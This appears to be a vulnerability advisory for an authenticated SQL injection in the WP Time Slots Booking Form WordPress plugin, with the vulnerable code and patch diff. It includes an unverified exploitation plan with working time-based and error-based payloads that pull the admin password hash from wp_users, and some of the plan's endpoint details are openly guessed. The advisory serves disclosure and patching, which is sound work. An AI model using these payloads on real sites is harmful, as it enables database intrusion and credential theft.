CVE-2026-48882

WP Time Slots Booking Form <= 1.2.50 - Authenticated (Subscriber+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.2.51
Patched in
7d
Time to patch

Description

The WP Time Slots Booking Form plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.2.50 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.2.50
PublishedJune 2, 2026
Last updatedJune 8, 2026

What Changed in the Fix

Changes introduced in v1.2.51

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-48882 ## 1. Vulnerability Summary The **WP Time Slots Booking Form** plugin (versions <= 1.2.50) is vulnerable to an **Authenticated SQL Injection** via the `item` parameter. The vulnerability exists in the `get_option` method of the `CP_TSLOTSBOOK_BaseClass` …

Show full research plan

Exploitation Research Plan: CVE-2026-48882

1. Vulnerability Summary

The WP Time Slots Booking Form plugin (versions <= 1.2.50) is vulnerable to an Authenticated SQL Injection via the item parameter. The vulnerability exists in the get_option method of the CP_TSLOTSBOOK_BaseClass (located in classes/cp-base-class.inc.php).

The get_option function directly concatenates the class property $this->item into a raw SQL query string passed to $wpdb->get_results(). Because $this->item is often populated from user-controlled request parameters (like $_REQUEST['item']) without being cast to an integer or prepared via $wpdb->prepare(), a Subscriber-level attacker can inject arbitrary SQL commands.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: cp_ts_booking_list (associated with the [CP_TIME_SLOTS_BOOKING_LIST] shortcode functionality) or cp_tslotsbook_get_slots.
  • Vulnerable Parameter: item
  • Authentication: Required (Subscriber-level or higher).
  • Payload Type: Time-based Blind or Error-based (via updatexml or extractvalue).

3. Code Flow

  1. Entry Point: An authenticated user sends a POST request to admin-ajax.php with the action cp_ts_booking_list.
  2. Handler Registration: The plugin registers the handler (likely in cp-main-class.inc.php) using add_action( 'wp_ajax_cp_ts_booking_list', ... ).
  3. Parameter Assignment: The handler retrieves the item parameter using $this->get_param('item') and assigns it to $this->item.
    • Note: get_param (in cp-base-class.inc.php) uses sanitize_text_field(), which does not escape SQL injection payloads (e.g., 1 AND SLEEP(5)).
  4. Vulnerable Sink: The handler calls $this->get_option('form_structure').
  5. SQL Execution: Inside get_option (classes/cp-base-class.inc.php lines 183-206):
    $myrows = $wpdb->get_results( "SELECT * FROM ".$wpdb->prefix.$this->table_items." WHERE id=".$this->item );
    
    The unsanitized $this->item is concatenated directly into the query, leading to SQL Injection.

4. Nonce Acquisition Strategy

The plugin uses nonces for AJAX security, typically enqueued on pages containing the booking form shortcode.

  1. Identify Shortcode: The primary shortcode is [CP_TIME_SLOTS_BOOKING].
  2. Create Page: Create a public page containing this shortcode to force the plugin to enqueue its scripts and localize the nonce.
    wp post create --post_type=page --post_title="Booking Test" --post_status=publish --post_content='[CP_TIME_SLOTS_BOOKING]'
    
  3. Extract Nonce: Navigate to the new page and use browser_eval to extract the nonce from the localized JavaScript object.
    • JS Object: cp_tslotsbooking_obj (inferred from prefix in cp-main-class.inc.php).
    • Nonce Key: nonce (inferred).
    // Extraction via browser_eval
    window.cp_tslotsbooking_obj?.nonce
    

5. Exploitation Strategy

A Time-based Blind SQL Injection is the most reliable method for confirming the vulnerability.

Step 1: Authentication

Login as a Subscriber user to obtain a session cookie.

Step 2: Payload Injection

Send a POST request to admin-ajax.php.

  • URL: http://[target]/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: cp_ts_booking_list
    • nonce: [EXTRACTED_NONCE]
    • item: 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

Step 3: Data Extraction (Example: Admin Hash)

To extract the first character of the admin's password hash:

  • Payload for item: 1 AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)

6. Test Data Setup

  1. Activate Plugin: Ensure "WP Time Slots Booking Form" is active.
  2. Ensure Data Exists: The plugin creates form ID 1 by default. Verify this exists in wp_cptslotsbk_forms.
  3. Create Subscriber:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    
  4. Create Nonce Page:
    wp post create --post_type=page --post_status=publish --post_content='[CP_TIME_SLOTS_BOOKING]'
    

7. Expected Results

  • Normal Request: The server responds immediately (usually < 200ms).
  • Vulnerable Request: The server response is delayed by approximately 5 seconds.
  • Database Error (if enabled): If WP_DEBUG is on, the error might be visible in debug.log or the response if the query syntax is intentionally broken (e.g., item=1').

8. Verification Steps

After performing the HTTP request, verify the impact:

  1. Monitor MySQL Logs: If access is available, check the query log to see the executed query:
    SELECT * FROM wp_cptslotsbk_forms WHERE id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
    
  2. Check Time Delay: Confirm the http_request tool reports a time_total significantly higher than the sleep value.

9. Alternative Approaches

If cp_ts_booking_list is patched or restricted:

  • Alternative Action: Try cp_tslotsbook_get_slots or cp_tslotsbook_get_option. These are common AJAX entry points in CodePeople plugins that often call the same get_option sink.
  • Error-Based Extraction: If time-based is too slow, try updatexml to leak data via MySQL error messages:
    • item=1 AND (updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1),0x7e),1))
  • UNION-Based: If the AJAX handler reflects the form_structure option in the JSON response, use a UNION payload to inject data into that field's position.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Time Slots Booking Form plugin for WordPress is vulnerable to SQL Injection in versions up to 1.2.50 due to insufficient input validation and the direct concatenation of user-supplied parameters into SQL queries within the `get_option` function. Authenticated attackers with subscriber-level permissions or higher can exploit this to extract sensitive database information or execute arbitrary SQL commands via time-based or error-based techniques.

Vulnerable Code

// classes/cp-base-class.inc.php:183
public function get_option ($field, $default_value = '')
{
    global $wpdb;
    if ($this->option_buffered_id == $this->item)
        $value = (property_exists($this->option_buffered_item, $field) && !empty(@$this->option_buffered_item->$field) ? @$this->option_buffered_item->$field : '');
    else
    {
       $myrows = $wpdb->get_results( "SELECT * FROM ".$wpdb->prefix.$this->table_items." WHERE id=".$this->item );
       if (count($myrows))
       {
           $value = @$myrows[0]->$field;
           $this->option_buffered_item = @$myrows[0];
           $this->option_buffered_id  = $this->item;
       }
       // ...

---

// cp-main-class.inc.php:765
else if ($this->get_param("cal") || $this->get_param("cal") == '0' || $this->get_param("pwizard") == '1')
{
    $this->item = $this->get_param("cal");

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-time-slots-booking-form/1.2.50/classes/cp-base-class.inc.php /home/deploy/wp-safety.org/data/plugin-versions/wp-time-slots-booking-form/1.2.51/classes/cp-base-class.inc.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-time-slots-booking-form/1.2.50/classes/cp-base-class.inc.php	2026-05-18 14:29:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-time-slots-booking-form/1.2.51/classes/cp-base-class.inc.php	2026-05-18 16:44:00.000000000 +0000
@@ -174,7 +174,7 @@
             $value = (property_exists($this->option_buffered_item, $field) && !empty(@$this->option_buffered_item->$field) ? @$this->option_buffered_item->$field : '');
         else
         {  
-           $myrows = $wpdb->get_results( "SELECT * FROM ".$wpdb->prefix.$this->table_items." WHERE id=".$this->item );
+           $myrows = $wpdb->get_results( "SELECT * FROM ".$wpdb->prefix.$this->table_items." WHERE id=".intval($this->item) );
            if (count($myrows))
            {
                $value = @$myrows[0]->$field;           
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-time-slots-booking-form/1.2.50/cp-main-class.inc.php /home/deploy/wp-safety.org/data/plugin-versions/wp-time-slots-booking-form/1.2.51/cp-main-class.inc.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-time-slots-booking-form/1.2.50/cp-main-class.inc.php	2026-05-18 14:29:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-time-slots-booking-form/1.2.51/cp-main-class.inc.php	2026-05-18 16:44:00.000000000 +0000
@@ -14,6 +14,7 @@
     private $include_user_data_csv = false;
     public $CP_CFPP_global_templates;
     private $old_css_placeholder = '/* Styles definition here */';
+    private $postURL;
     
     protected $paid_statuses = array('Pending','Cancelled','Rejected');
     public $shorttag = 'CP_TIME_SLOTS_BOOKING';
@@ -762,7 +763,7 @@
         } 
         else if ($this->get_param("cal") || $this->get_param("cal") == '0' || $this->get_param("pwizard") == '1')
         {
-            $this->item = $this->get_param("cal");
+            $this->item = intval($this->get_param("cal"));
             if (isset($_GET["edit"]) && $_GET["edit"] == '1')
                 @include_once dirname( __FILE__ ) . '/cp_admin_int_edition.inc.php';
             else if ($this->get_param("schedule") == '1')

Exploit Outline

The exploit targets the `get_option` method, which is reachable through various AJAX actions such as `cp_ts_booking_list` or `cp_tslotsbook_get_slots`. An authenticated attacker (Subscriber+) first obtains a valid nonce by viewing a page where the plugin's booking form shortcode is rendered. The attacker then sends a POST request to `/wp-admin/admin-ajax.php` containing the `action` and the required nonce. By injecting a payload into the `item` (or `cal`) parameter—for instance, `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`—the attacker can manipulate the resulting SQL query. This allows for time-based blind data extraction from the WordPress database, including administrative credentials.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.